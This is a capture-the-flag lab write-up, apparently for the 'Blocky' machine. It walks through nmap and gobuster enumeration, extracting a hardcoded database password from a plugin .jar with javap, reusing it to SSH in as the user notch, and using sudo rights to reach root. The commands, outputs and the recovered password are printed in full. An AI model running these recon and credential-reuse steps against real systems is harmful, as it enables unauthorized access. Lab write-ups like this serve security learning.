• Get credentials from a .jar file located in the /plugins directory
  • Use the password found to ssh in the system as the user notch
  • Run sudo -l to see that I can run commands as sudo

First I start with an nmap scan.

# Nmap 7.70 scan initiated Fri May 31 12:13:39 2019 as: nmap -sV -sC -T4 -oN BlockyNmap 10.10.
Nmap scan report for
Host is up (0.036s latency).
Not shown: 996 filtered ports
21/tcp   open   ftp     ProFTPD 1.3.5a
22/tcp   open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp   open   http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft – Under Construction!
8192/tcp closed sophos
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Fri May 31 12:13:52 2019 -- 1 IP address (1 host up) scanned in 13.20 seconds

I look around and don’t find much except for a post made by the user Notch. Next, I decide to run a gobuster

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt -t 20
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
2019/09/16 15:04:36 Starting gobuster
/wiki (Status: 301)
/wp-content (Status: 301)
/index.php (Status: 301)
/wp-login.php (Status: 200)
/plugins (Status: 301)
/license.txt (Status: 200)
/wp-includes (Status: 301)
/javascript (Status: 301)
/wp-trackback.php (Status: 200)

Navigating to the /plugins directory, you will see two files. Lets download them both to our host

Both of the files are .jar files which means the contents need to be extracted. The command below will list the files inside the .jar file.

jar -tf BlockyCore.jar

I see that it lists a file


Lets extract that specific file.

jar xf BlockyCore.jar com/myfirstplugin/BlockyCore.class

Now to read the file I need to use the javap command.

javap -c com/myfirstplugin/BlockyCore.class

You should get the output below. If you read through the file you should see something like resembles credentials.

11: ldc           #18                 // String root <-----User
13: putfield      #20                 // Field sqlUser:Ljava/lang/String;
16: aload_0
17: ldc           #22                 // String 8YsqfCTnvxAUeduzjNSXe22 <-----Password
19: putfield      #24                 // Field sqlPass:Ljava/lang/String;

Now first thing I tried was logging into the wordpress site but that didnt work. Next I tried ssh but it didnt work with the user root. I tried to ssh again but this time using the user notch and password 8YsqfCTnvxAUeduzjNSXe22 and it worked.

root@kali: ssh notch@

The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:lg0igJ5ScjVO6jNwCH/OmEjdeO2+fx+MQhV/ne2i900.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
notch@'s password:
Ilcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:
 * Management:
 * Support:

7 packages can be updated.
7 updates are security updates.

Last login: Tue Jul 25 11:14:53 2017 from

Now if I type sudo -l and enter the same password as before then you will see that I have sudo rights which means I can just grab both the user and root flags. The user flag is located at /home/notch/user.txt and the root is at /root.root.txt